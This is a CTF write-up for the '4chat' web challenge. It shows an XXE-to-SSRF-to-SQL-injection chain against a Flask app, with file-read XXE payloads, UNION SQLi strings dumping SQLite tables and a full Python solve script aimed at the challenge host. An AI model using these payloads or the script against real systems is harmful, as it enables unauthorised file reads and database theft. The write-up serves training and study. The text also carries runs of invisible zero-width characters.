← Back to Writeups
HTBN/AWeb

4chat

XESXOR8/23/20266 min read
#web#htb#n/a

4chat

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-03 | Status: Solved Techniques: idor_enumeration, in_band_xxe_file_read, localhost_admin_bypass_via_ssrf, proc_net_tcp_port_discovery, ssrf_http_entity, union_based_sql_injection

Summary

Task: Flask terminal-UI chat with an lxml XML settings parser (XXE sink), a localhost-only /admin API, and an SQLite backend. Solution: in-band XXE reads /proc/1/net/tcp to discover the internal listen port (8000) behind Docker NAT, then SSRF via an http:// external entity hits the localhost-gated /admin/api/search_user, where a UNION-based SQLi on the id parameter dumps the secret table flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260603_hackerlab_4chat
  • Tags: sqlite, SQLi, flask, ssrf, idor, werkzeug, union_based_sqli, xxe, lxml, in_band_xxe, libxml2, docker_nat, multi_stage_chain
  • Indicators: lxml/libxml2 XML settings parser reflects parsed text in <pre>, admin route restricted to localhost (request.remote_addr) returns 403, external Docker NAT port differs from internal listen port, /admin/api/search_user?id= numeric IDOR lookup, SQLite sqlite_master leaks table schema
  • Source: 20260603_hackerlab_4chat.md

Foothold

Vulnerability / Misconfiguration

  1. Idor_enumeration
  2. In_band_xxe_file_read
  3. Localhost_admin_bypass_via_ssrf
  4. Proc_net_tcp_port_discovery
  5. Ssrf_http_entity
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • idor_enumeration
  • in_band_xxe_file_read
  • localhost_admin_bypass_via_ssrf
  • proc_net_tcp_port_discovery
  • ssrf_http_entity
  • union_based_sql_injection
  • Tags: sqlite, SQLi, flask, ssrf, idor, werkzeug, union_based_sqli, xxe, lxml, in_band_xxe, libxml2, docker_nat, multi_stage_chain

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Никакого GUI, только ты, клавиатура и немного ностальгии.

(No GUI, just you, the keyboard, and a bit of nostalgia.)

A Flask application with a retro green-on-black terminal UI. You register/login via typed command=/login <user> <pass> lines, post to a /chat, and edit a profile via /settings, which parses an XML <settings> blob with lxml. The in-chat hints were "в начале там xxe" (XXE at the start) and "прикольная цепочка" (a cool chain) — i.e. a multi-stage XXE chain leading to the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Target: http://62.173.140.174:16084 (Flask, Werkzeug/3.0.6, Python 3.8.20, lxml/libxml2 2.8.0, SQLite). Runs as root, PID 1, inside Docker; the DB resets periodically (users wiped), so a fresh user must be registered each run.

Analysis

App surface:

  • /login — POST command=/login <user> <pass> or command=/register <user> <pass> <confirm>. Session is a Flask-signed cookie {"username":"..."}.
  • /chat — terminal that only stores/echoes messages per user. Red herring: no server-side command handling.
  • /settings — POST xmldata=<settings><profession>...</profession></settings>, parsed by lxml. The parsed <profession> text is reflected back inside a <pre> "Current profession" block. This is the XXE sink. The value is stored per-user and only updates on a successful parse.
  • /admin → 308 → /admin/403 Forbidden, gated to localhost via request.remote_addr. Not bypassable by username admin, X-Forwarded-For/X-Real-IP spoofing, params, cookies, or headers.
  • /static/style.css — real static file. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

XXE primitive (confirmed)

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<settings><profession>&xxe;</profession></settings>

reflects /etc/passwd in the <pre> block. Constraints of this in-band read (lxml is strict, no recover):

  • Files containing < break the parse → profession keeps its old value (so app.py, templates, *.html are unreadable).
  • Files with NUL bytes (cmdline, environ, *.db, *.so) fail/truncate.
  • General HTTP external entities also reflect the response body in-band when the response contains no < (e.g. SYSTEM "http://icanhazip.com" returns the egress IP).
  • Parameter-entity / OOB exfil does not work (PE-declared entities are not expanded) — so classic blind-OOB is dead, but in-band file/HTTP read is enough.
  • & inside a SYSTEM URL must be XML-escaped as &amp;. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

The chain has three pivots: discover the real internal port, SSRF past the localhost admin gate, then UNION-SQLi the admin API.

1. Internal port discovery via /proc/1/net/tcp

SSRF to the app's own external IP/port (62.173.140.174:16084) deadlocks (single-threaded Werkzeug + Docker NAT hairpin), and 127.0.0.1:16084 is connection-refused. The breakthrough: read the listening sockets directly.

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///proc/1/net/tcp">]>
<settings><profession>&xxe;</profession></settings>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The local-address column showed 0.0.0.0:0x1F40 = port 8000. External :16084 is just the Docker port mapping to container :8000. This is the single fact that unblocked everything.

2. Admin gate bypass via SSRF to the internal port

The /admin/ route checks request.remote_addr == localhost, but an XXE-driven HTTP request originates from the server itself. Hitting the internal port returns JSON (no <, so it reflects in-band) that self-documents the API:

<!DOCTYPE r [<!ENTITY xxe SYSTEM "http://127.0.0.1:8000/admin/">]>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • /admin/["/admin/api/"]
  • /admin/api/["/admin/api/search_user"]
  • /admin/api/search_user?id=1{"username":"..."} ← IDOR: fetch user by numeric id

3. UNION-based SQL injection in the id parameter

The id parameter is injected into a single-column SQLite query.

-1 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'
  -> users,messages,secret

-1 UNION SELECT group_concat(sql,'||') FROM sqlite_master
  -> CREATE TABLE users (username TEXT PRIMARY KEY, password TEXT, profession TEXT)
     || CREATE TABLE messages (username TEXT, message TEXT)
     || CREATE TABLE secret (flag TEXT)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

-1 UNION SELECT flag FROM secret
  -> CODEBY{REDACTED}

Working request shape

Register + login a throwaway user first (DB resets). The whole URL goes into the entity SYSTEM literal; &&amp;, and URL-encode the SQL payload's spaces:

xmldata=<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM
  "http://127.0.0.1:8000/admin/api/search_user?id=-1 UNION SELECT flag FROM secret">]>
<settings><profession>&xxe;</profession></settings>

Read the reflected JSON from the <pre> "Current profession" block. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

#!/usr/bin/env python3
# 4chat solve — XXE -> SSRF (internal port 8000) -> /admin IDOR -> UNION SQLi
import re, requests
from urllib.parse import quote

BASE = "http://62.173.140.174:16084"
U, P = "solver123", "solver123"

s = requests.Session()
# DB resets periodically -> (re)register, then login
s.post(f"{BASE}/login", data={"command": f"/register {U} {P} {P}"})
s.post(f"{BASE}/login", data={"command": f"/login {U} {P}"})

def xxe(system_uri):
    # '&' must be XML-escaped inside the SYSTEM literal
    uri = system_uri.replace("&", "&amp;")
    payload = (
        '<?xml version="1.0"?>'
        f'<!DOCTYPE r [<!ENTITY xxe SYSTEM "{uri}">]>'
        '<settings><profession>&xxe;</profession></settings>'
    )
    r = s.post(f"{BASE}/settings", data={"xmldata": payload})
    m = re.search(r"Current profession.*?<pre>(.*?)</pre>", r.text, re.S)
    return (m.group(1).strip() if m else r.text)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 1. confirm internal listen port (hex 0x1F40 == 8000)
print("tcp:", xxe("file:///proc/1/net/tcp")[:200])

# 2. SSRF to internal admin API -> UNION SQLi for the flag
sql = "-1 UNION SELECT flag FROM secret"
url = "http://127.0.0.1:8000/admin/api/search_user?id=" + quote(sql)
print("FLAG:", xxe(url))

Lessons / Dead ends

  • SECRET_KEY brute (flask-unsign) with default + common-10k + names + full rockyou FAILED — cookie forgery was not the path (unlike the sibling challenge "Privileged Guest"). The key was not weak.
  • Brute-forcing the app source dir (~50k+ file:// path guesses to grab app.py) was wasted effort; reading the source was never required, and files with < are unreadable in-band anyway.
  • OOB / parameter-entity exfil is dead here (PE-declared entities not expanded) — but in-band file/HTTP read is sufficient.
  • The decisive realization: the internal listen port (8000) differs from the external NAT port (16084). Reading /proc/1/net/tcp exposed it and unblocked the whole chain. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR